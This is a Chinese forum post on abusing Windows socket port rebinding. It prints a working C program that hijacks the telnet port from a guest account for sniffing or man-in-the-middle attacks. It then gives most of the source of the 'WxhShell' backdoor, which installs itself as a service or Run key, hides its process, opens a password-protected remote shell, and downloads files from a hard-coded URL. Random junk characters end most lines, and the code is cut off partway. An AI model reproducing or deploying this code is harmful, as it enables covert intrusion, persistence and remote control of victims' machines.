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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8NnhT E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @. "q  
7egq4gN]2Y  
  saddr.sin_family = AF_INET; \WWG>OUh.U  
%fHH{60  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mHKJ  
p` $fTgm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MzcB3pi  
s~L`53A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <BSSa`N`  
Tru c[A.2Z  
  这意味着什么?意味着可以进行如下的攻击: W:WQaF`2x  
Fav?,Q,n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vruD U#  
_0K.Fk*(!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NN^QUB  
#+$ zE#je  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z^'n* h  
*m*`}9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d [r-k 2  
yx2z%E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1t.R+1[c  
w^3|(F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fTcY"A,2  
&Y+e=1a+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \Dfm(R  
*,17x`1e  
  #include $%Z3;:<Uf-  
  #include rkq#7  
  #include <KX&zi<L)  
  #include    Y3k[~A7X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T<P0T<  
  int main() uxb:^d?D!  
  { > VP5vkv=  
  WORD wVersionRequested; pl|h>4af  
  DWORD ret; okstY4f'  
  WSADATA wsaData; "kU]  
  BOOL val; `;$h'eI9  
  SOCKADDR_IN saddr; gX^ PSsp  
  SOCKADDR_IN scaddr; P3!Atnv2  
  int err; QjJfE<h  
  SOCKET s; V#L'7">VP  
  SOCKET sc; ^^U%cuKg  
  int caddsize; |NJ}F@t/5  
  HANDLE mt; RU|X*3";T  
  DWORD tid;   6WeM rWx  
  wVersionRequested = MAKEWORD( 2, 2 ); >I^9:Q  
  err = WSAStartup( wVersionRequested, &wsaData ); s7l23*Czl  
  if ( err != 0 ) { m'bi\1Q  
  printf("error!WSAStartup failed!\n"); cI:-Z{M7z  
  return -1; {n&Uf{  
  } -uj3'g (;w  
  saddr.sin_family = AF_INET; FY4T(4#  
   2 x32U MD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DW>ES/B8$(  
E{% SR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2"X~ju  
  saddr.sin_port = htons(23); kAo.C Nj7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "(f`U.  
  { {[W(a<%bXm  
  printf("error!socket failed!\n"); uokc :D  
  return -1; i%F<AY\O)  
  } X#`dWNrN  
  val = TRUE; R,,Qt TGB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v@n_F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jzex]_:1~  
  { ! %Ny0JkO  
  printf("error!setsockopt failed!\n"); ~*-qX$gr  
  return -1; S-c ^eLzQ  
  } q.W>4 k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /pykW_`/-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %\6Q .V#s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X{Zm9T  
h/m6)m.D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !%[S49s  
  { #|f~s  
  ret=GetLastError(); 6Hf,6>  
  printf("error!bind failed!\n"); BJy;-(JP  
  return -1; :NE/Ddgc'  
  } ?fK1  
  listen(s,2); ,H[SI0];  
  while(1) q-_' W,  
  { n>FY?  
  caddsize = sizeof(scaddr); z9 ($.  
  //接受连接请求  v~=\H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?9xu{B>6  
  if(sc!=INVALID_SOCKET) N$#\Xdo  
  { |5MbAqjzC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LW:1/w&pv  
  if(mt==NULL) 6q/ ?-Qcy  
  { #g9ZX16}  
  printf("Thread Creat Failed!\n"); lr3mE  
  break; SSA W52xC  
  } ue{xnjw>U  
  } s([dGD$i  
  CloseHandle(mt); w/m:{cHk  
  } >*1}1~uU`'  
  closesocket(s); rx!=q8=0R  
  WSACleanup(); (S /F)?  
  return 0; Nneo{j  
  }   &c%Y<1e`%  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^jSsa  
  { uY#TEjGh]  
  SOCKET ss = (SOCKET)lpParam; }NCL>l;q  
  SOCKET sc; dh -,E  
  unsigned char buf[4096]; ,o#kRWRG  
  SOCKADDR_IN saddr; \".^K5Pm  
  long num; C9~~O~7x  
  DWORD val; Q[u6|jRt  
  DWORD ret; l#qv 5f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N4!<Xj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z`3( ,V  
  saddr.sin_family = AF_INET; MaY682}|y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cgT  
  saddr.sin_port = htons(23); I4c!m_sr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \>Zvev!s  
  { G| m4m.  
  printf("error!socket failed!\n"); 5M_Wj*a}7  
  return -1; 1vevEa$  
  } Ol/N}M|3  
  val = 100; -:Rp'SJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L 3XB"A#  
  { T)iW`vZg8  
  ret = GetLastError(); CA s>AXbs  
  return -1; b[ w;i]2  
  } &#w=7L3AW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p Pro }@@  
  { dK9Zg,DZL  
  ret = GetLastError(); \XzM^K3  
  return -1; hZ$t$3  
  } au@a8MP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e":G*2a  
  { L,_.$1d  
  printf("error!socket connect failed!\n"); /n,a?Ft^N)  
  closesocket(sc); >{zk qvsQ&  
  closesocket(ss); !nf-}z e{  
  return -1; t*S." q  
  } GZ#aj|  
  while(1) :l\V'=%9'@  
  { L"+$Wc[|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &2.u%[gO[q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BOVPKX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'DbMF?<.  
  num = recv(ss,buf,4096,0); ssQ BSbx  
  if(num>0) A<MtKb  
  send(sc,buf,num,0); 1R%1h9I4'  
  else if(num==0) 19e8  
  break; }FqA ppr  
  num = recv(sc,buf,4096,0); olux6RP[B  
  if(num>0) dl]#  
  send(ss,buf,num,0); N@T.T=r  
  else if(num==0) afG{lWE)  
  break; q OhO qV  
  } GIwh@4;  
  closesocket(ss); 2'0K WYM  
  closesocket(sc); MjL)IgT  
  return 0 ; ^eq</5q D  
  } bCv{1]RC2  
HfNDD| Zz  
LJlZ^kh  
========================================================== B2=\2<  
)u:Q) %$t  
下边附上一个代码,,WXhSHELL 32)tJ|m  
PXKJ^fa  
========================================================== si4-3eC  
Pt,ebL~  
#include "stdafx.h" "\%On >  
7E$&2U^Js  
#include <stdio.h> jdA ]2]  
#include <string.h> hf6f.Z  
#include <windows.h> $^/0<i$   
#include <winsock2.h> RBKOM$7  
#include <winsvc.h> 9=l.T/?sf  
#include <urlmon.h> tl yJmdl  
l: |D,q  
#pragma comment (lib, "Ws2_32.lib") Dr3n+Q   
#pragma comment (lib, "urlmon.lib") q<vf,D@{ !  
UPU+ver  
#define MAX_USER   100 // 最大客户端连接数 c~}l8M %  
#define BUF_SOCK   200 // sock buffer hS [SRa'.  
#define KEY_BUFF   255 // 输入 buffer >pyj]y^3  
='?:z2lJ  
#define REBOOT     0   // 重启 (46 {r}_O  
#define SHUTDOWN   1   // 关机 E\7m< 'R  
~`8hwR1&z  
#define DEF_PORT   5000 // 监听端口 "d/s5sP|S  
@LE[ac  
#define REG_LEN     16   // 注册表键长度 }Nj97 R  
#define SVC_LEN     80   // NT服务名长度 cV K7  
j-@kW'K  
// 从dll定义API ,Dmc2D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M+>`sj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &$FvWFRh#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F'P Qqb{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F4#g?R ::U  
\5 pu|2u  
// wxhshell配置信息 `NRH9l>B7  
struct WSCFG { B1 0+*p(  
  int ws_port;         // 监听端口 '1SG(0  
  char ws_passstr[REG_LEN]; // 口令 J:dof:q  
  int ws_autoins;       // 安装标记, 1=yes 0=no D0G-5}s`  
  char ws_regname[REG_LEN]; // 注册表键名 kTIYD o  
  char ws_svcname[REG_LEN]; // 服务名 9-1#( Y6S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  v9RW5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f'(l&/4z{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8^^[XbH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $& ~;@*[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ITJ q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .\3`2  
`iKj  
}; 7k%T<;V  
#G]!%  
// default Wxhshell configuration *4Fr&^M\  
struct WSCFG wscfg={DEF_PORT, Yj(4&&Q  
    "xuhuanlingzhe", 1$lh"fHU  
    1, 8y';\(;  
    "Wxhshell", m`? MV\^  
    "Wxhshell", i8X`HbmN  
            "WxhShell Service", %GEJnJ  
    "Wrsky Windows CmdShell Service", Y(VJbm`  
    "Please Input Your Password: ", H4-qB Z'  
  1, / jTT5  
  "http://www.wrsky.com/wxhshell.exe", {04"LAE  
  "Wxhshell.exe" &p UZDjo?  
    }; O;Y:uHf  
zzGYiF ?  
// 消息定义模块 vH %gdpxX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9Mm!%Hu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;,'igdold  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]<uQ.~  
char *msg_ws_ext="\n\rExit."; {NM+Oj,~'  
char *msg_ws_end="\n\rQuit."; .S\&L-{  
char *msg_ws_boot="\n\rReboot..."; #%3rTU  
char *msg_ws_poff="\n\rShutdown..."; zW |=2oX2  
char *msg_ws_down="\n\rSave to "; vC;]jJb:  
Ei>m0 ~<\  
char *msg_ws_err="\n\rErr!"; o`,Qku k  
char *msg_ws_ok="\n\rOK!"; n";02?@F  
n_D8JF  
char ExeFile[MAX_PATH]; @+,pN6}g  
int nUser = 0; W{cY6@  
HANDLE handles[MAX_USER]; VxO%rq3  
int OsIsNt; ITuq/qts]A  
ewsKH\#  
SERVICE_STATUS       serviceStatus; 4IdT'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; he3SR @\T  
L?&'xzt B  
// 函数声明 RH;:9_*F  
int Install(void); p^m5`{1]x  
int Uninstall(void); g\A y`.s  
int DownloadFile(char *sURL, SOCKET wsh); 96Wp!]*  
int Boot(int flag); ,FQdtNMap  
void HideProc(void); uv{P,]lK  
int GetOsVer(void); }_.:+H!@  
int Wxhshell(SOCKET wsl); jMBiaX`F  
void TalkWithClient(void *cs); 5 +9 Ze9  
int CmdShell(SOCKET sock); <pLT'Y=  
int StartFromService(void); f5RE9%.#~  
int StartWxhshell(LPSTR lpCmdLine); [Bb utGvj  
f6<g3Q7Mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =V+I=rqo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _,h@:Xij  
)n7l'}o?+  
// 数据结构和表定义 {-zMHVw=}  
SERVICE_TABLE_ENTRY DispatchTable[] = 92W&x'  
{ DdV'c@rq+  
{wscfg.ws_svcname, NTServiceMain}, d~tuk4F  
{NULL, NULL} ?^Hf Np9  
}; C}g9'jY  
:q3+AtF  
// 自我安装 JEn3`B!*  
int Install(void) @!=\R^#p  
{ <T?oKOD ]  
  char svExeFile[MAX_PATH]; 6w3R'\9  
  HKEY key; &`|:L(+  
  strcpy(svExeFile,ExeFile); .o{0+fC#  
&6 -k#r  
// 如果是win9x系统,修改注册表设为自启动 ,M !tm7  
if(!OsIsNt) { $ls[|N:y0l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6bc3 37b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5,"l0nrk  
  RegCloseKey(key); #eP LOR&q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !%mAh81{&/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); td2/9|Q  
  RegCloseKey(key); _Yb _D/  
  return 0; !#ri5{od  
    } `WEZ"5n  
  } tU wRE|_  
} }Y(]6$uS  
else { 4wzlJ19E(  
G%p~m%zIK  
// 如果是NT以上系统,安装为系统服务 /{2*WI;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `i~ Y Fr  
if (schSCManager!=0) z"4]5&3A  
{ ]-o"}"3Ef  
  SC_HANDLE schService = CreateService 4o:hyh   
  ( Yx'res4e  
  schSCManager, vY|^/[x#B  
  wscfg.ws_svcname, tL SN`6[:  
  wscfg.ws_svcdisp, TjK{9A  
  SERVICE_ALL_ACCESS,  q}Z3?W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vh!v MB}}  
  SERVICE_AUTO_START, >Y 1{rSk  
  SERVICE_ERROR_NORMAL, UAF<m1  
  svExeFile, stl 1Q O(h  
  NULL, ~Aad9yyi  
  NULL, /76 1o\Q  
  NULL, DQ.v+C,  
  NULL, 5M]z5}n/  
  NULL x Ha=3n  
  ); z7.|fE)<6  
  if (schService!=0) et,GrL)l  
  { h<l1]h+x  
  CloseServiceHandle(schService); `;,Pb&W~  
  CloseServiceHandle(schSCManager); s}&bJ"!Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~wnOV#v  
  strcat(svExeFile,wscfg.ws_svcname); Thy=yz;p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ln*icaDqf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D*5hrkV9  
  RegCloseKey(key); PMsz`  
  return 0; Oh.ZPG=  
    } 6}~pq1IF{  
  } WE}kTq  
  CloseServiceHandle(schSCManager); FFhtj(hVgc  
} q+SD6qM  
} }y%`)lz~;  
<HWS:'1  
return 1; E9j+o y  
} O40+M)e]  
U;_[b"SW%  
// 自我卸载 :WGtR\tK  
int Uninstall(void) ~ jU/<~s  
{ v4Zb? Yb  
  HKEY key; Eu}b8c  
3>ex5  
if(!OsIsNt) { 6q<YJ.,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S-+"@>{HJ  
  RegDeleteValue(key,wscfg.ws_regname); 05Fz@31~  
  RegCloseKey(key); 9Ywpej*+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E! /[gZ  
  RegDeleteValue(key,wscfg.ws_regname); 09KcKhFB  
  RegCloseKey(key); C F!Sa6  
  return 0; cxeghy:;U  
  } 9L0GLmLk1u  
} i>L+gLW  
} snM Z0W  
else { +.B<Hd  
iq#b#PYA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r'LVa6e"N  
if (schSCManager!=0) >DM44  
{ Xm2\0=v5;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }K1 0Po'  
  if (schService!=0) "|Fy+'5}  
  { B 3m_D"?  
  if(DeleteService(schService)!=0) {  @4d)R  
  CloseServiceHandle(schService); NvE}eA#  
  CloseServiceHandle(schSCManager); ',3HlOJ:  
  return 0; . JX EK  
  } <P ,~eX(r  
  CloseServiceHandle(schService); 5 S Xn?  
  } 7`vEe 'qz  
  CloseServiceHandle(schSCManager); Z 2}ah  
} J2q,7wI#  
} 'oNO-)p\#!  
HjvCujJ  
return 1; Sgim3):Z  
} (z7vl~D  
_LP/!D  
// 从指定url下载文件 $CTSnlPq  
int DownloadFile(char *sURL, SOCKET wsh) o56`  
{ q/3ziVd7p  
  HRESULT hr; 3K&4i'}V  
char seps[]= "/"; ;Mm7n12z C  
char *token; bawJ$_O_  
char *file; ' K@|3R  
char myURL[MAX_PATH]; `.x$7!zLC  
char myFILE[MAX_PATH]; 65 z"  
f-6vLX\Vu  
strcpy(myURL,sURL); }7fZ[J3  
  token=strtok(myURL,seps); M7f;Pa  
  while(token!=NULL) rn DCqv!'P  
  { ERwHLA  
    file=token; c,so`I3rI  
  token=strtok(NULL,seps); Ze< K=Q%(i  
  } _(J&aY\  
+[\eFj|=  
GetCurrentDirectory(MAX_PATH,myFILE); A,i75kd  
strcat(myFILE, "\\"); 4?N8R$  
strcat(myFILE, file); tH=P6vY  
  send(wsh,myFILE,strlen(myFILE),0); 4tg<iH{  
send(wsh,"...",3,0); a`Gx=8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MT(o"ltQ  
  if(hr==S_OK) %0#1t 5g  
return 0; V)Z70J <'  
else xI ,2LGO  
return 1; yx V:!gl  
ntNI]~z&  
} (R`B'OtGg  
!=;XBd-  
// 系统电源模块 wf, 7==  
int Boot(int flag) }QZQ3@  
{ R+g z<H.Q  
  HANDLE hToken; L@=3dp!\Cu  
  TOKEN_PRIVILEGES tkp; **69rN  
^Rm  
  if(OsIsNt) { t|t#vcB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?UM*Xah  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #plY\0E@  
    tkp.PrivilegeCount = 1; 04r$>#E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q)"A-"y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c8Z wr]DF  
if(flag==REBOOT) { cqxVAzb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;Eu3[[V  
  return 0; @p\}pY$T  
} (8_\^jJ  
else { \.M*lqI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1CLL%\V  
  return 0; mf'V)  
} R$zH]  
  } G[jW<'f  
  else { Z"unF9`"1  
if(flag==REBOOT) { \9-"M;R.d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z|}G6]h  
  return 0; 9mZ  
} =B. F;4 0  
else { )8g(:`w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8QMPY[{   
  return 0; ~/j\Z  
} jt+iv*2N>  
} a&vY!vx 3  
},|M9 I0  
return 1; G@j0rnn>B  
} tBpC: SG  
+{/  
// win9x进程隐藏模块 [z 7bixN  
void HideProc(void) w&ak"GgV  
{ Y3Q9=u*5  
qW b+r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J=/5}u_gw  
  if ( hKernel != NULL ) Z1"v}g  
  { %D *OO{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $ `7^+8vHV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zXRlo]  
    FreeLibrary(hKernel); {z|;Xi::"  
  } >t7x>_~   
AlJ} >u  
return;  O#I1V K  
} <_Q1k>  
B5$kHM%p  
// 获取操作系统版本 B$Kn1 k  
int GetOsVer(void) l#n,Fg3  
{ OrK&RC  
  OSVERSIONINFO winfo; [n}T|<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %iw3oh&Fkm  
  GetVersionEx(&winfo); iQ"XLrpl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &4_qF^9J  
  return 1; D+>1]ij  
  else vhhC> 7  
  return 0; ,~._}E&9I  
} 4f<$4d^md  
P~ &$l2  
// 客户端句柄模块 bcupo:N  
int Wxhshell(SOCKET wsl) ?R$&Xe!5  
{ 0x!2ihf  
  SOCKET wsh; ~ar=PmYV7  
  struct sockaddr_in client; B-r0"MX&  
  DWORD myID; N\bocMc,X  
h;0S%ZC  
  while(nUser<MAX_USER) :Lz\yARpk  
{ L31|\x]  
  int nSize=sizeof(client); e#k<d-sf6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PsZ >P|e1  
  if(wsh==INVALID_SOCKET) return 1; .rf" (lM  
^I+)o1%F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )l#E}Uz  
if(handles[nUser]==0) 1</kTm/Qa  
  closesocket(wsh); C$5[X7'  
else m?&1yU9  
  nUser++; :GJ &_YHf  
  } fYW6b[lI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |ely|U. Tf  
F_4n^@M  
  return 0; [0D Et   
} )[Yv?>ib  
LWt&3  
// 关闭 socket y.Z?LCd<  
void CloseIt(SOCKET wsh) k%G1i-] 4  
{ q?ix$nKOv  
closesocket(wsh); -uy`!A  
nUser--; k|!EDze43?  
ExitThread(0); l(#)WWr+  
} jt.3P  
|u;v27  
// 客户端请求句柄 6w@ Ii;  
void TalkWithClient(void *cs) lMbAs.!  
{ WH \)) y-  
Alxx[l\<J  
  SOCKET wsh=(SOCKET)cs; &EnuE0BD  
  char pwd[SVC_LEN]; 9*(aU z9j  
  char cmd[KEY_BUFF]; IOV(seEY  
char chr[1]; a 7,C>%I  
int i,j; X ' "SVO.  
'3 ^+{=q  
  while (nUser < MAX_USER) { *C:|X b<9  
,xxR\}  
if(wscfg.ws_passstr) { NSDv ;|f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lgtC|k M=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I'0@viF"Nx  
  //ZeroMemory(pwd,KEY_BUFF); !U~WK$BP  
      i=0; =pC3~-;3  
  while(i<SVC_LEN) { .uk>QM s1  
go<W( ,O  
  // 设置超时 ' >rw(3  
  fd_set FdRead; 9,r rQQD_  
  struct timeval TimeOut; [`):s= FC  
  FD_ZERO(&FdRead); >L 0_dvr  
  FD_SET(wsh,&FdRead); A, LuD.8  
  TimeOut.tv_sec=8; L~NbdaO  
  TimeOut.tv_usec=0; \<)9?M :  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AlIpsJ[UU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o$Z6zmxO  
KPj\-g'A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4sT88lG4n  
  pwd=chr[0]; u9EgdpD  
  if(chr[0]==0xd || chr[0]==0xa) { e;[F\ov %  
  pwd=0; "UJ S5[7$  
  break; xsMBC  
  } mA=i)Ga  
  i++; Ch3jxgQY  
    } 7 !JQB  
 #c66)  
  // 如果是非法用户,关闭 socket AQiwugs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]3 l9:|  
} 3^6 d]f  
] A+?EE2/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0PrLuejz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gY8>6'~mS  
% V8U (z  
while(1) { 6 'Worj  
Cy=Hy@C  
  ZeroMemory(cmd,KEY_BUFF); x}8yXE"  
]h %Wiw  
      // 自动支持客户端 telnet标准   [S>2ASj  
  j=0; ,~]tg77  
  while(j<KEY_BUFF) { *5^Q7``  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aN8|J?JH  
  cmd[j]=chr[0]; k+ty>bP=  
  if(chr[0]==0xa || chr[0]==0xd) { W|g4z7Pb  
  cmd[j]=0; 4k@5/5zsM  
  break; 'GS"8w~j  
  } *=I}Qh(1  
  j++; zp%Cr.)$  
    } 6U R2IxbE  
`6]%P(#a  
  // 下载文件 r 0iK  
  if(strstr(cmd,"http://")) { VYk!k3qS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .G#8a1#  
  if(DownloadFile(cmd,wsh)) .Lsavpo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N%*5T[.  
  else OZ~5*v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E{Ov>osq  
  } Yd=>K HVD  
  else { V#S9H!hm$  
42(Lb'G  
    switch(cmd[0]) { ?-dX`n  
  ,l:ORoND  
  // 帮助 %~2YE  
  case '?': { dE4L=sTEsy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |n,<1QY  
    break; 'z%o16F)L  
  } C,ARXW1  
  // 安装 z4jR[x,  
  case 'i': { ]);%wy{Ho  
    if(Install()) rLI8pA|.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #AL=f'2=f  
    else "2)H'<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $JMXV  
    break; Tk:h@F|B.|  
    } 06c>$1-?  
  // 卸载 0;AA/  
  case 'r': { hPUYyjXPB  
    if(Uninstall()) LH kc7X$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8o'_`{ba  
    else =E.t`x=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VFURAYS  
    break; w~"KA6^  
    } 1^7hf;|#g  
  // 显示 wxhshell 所在路径 ,D]QxbwZ  
  case 'p': { di6QVRj1  
    char svExeFile[MAX_PATH]; S||}nJ0  
    strcpy(svExeFile,"\n\r"); <b`E_  
      strcat(svExeFile,ExeFile); M42 Ssn)  
        send(wsh,svExeFile,strlen(svExeFile),0); LWz&YF#T-  
    break; V C24sU  
    } smRE!f*q  
  // 重启 2(u,SQ  
  case 'b': { \eT5flC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @` 1Ds  
    if(Boot(REBOOT)) 17oa69G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Wy6/F@Z  
    else { BGD8w2  
    closesocket(wsh); f78An 8  
    ExitThread(0); pgI^4h  
    }  PT=2@kH  
    break; F`Q[6"<a  
    } b F"G[pD  
  // 关机 5q;GIw^L  
  case 'd': { snf~}:&   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aB{vFTD5  
    if(Boot(SHUTDOWN)) .TND  a&  
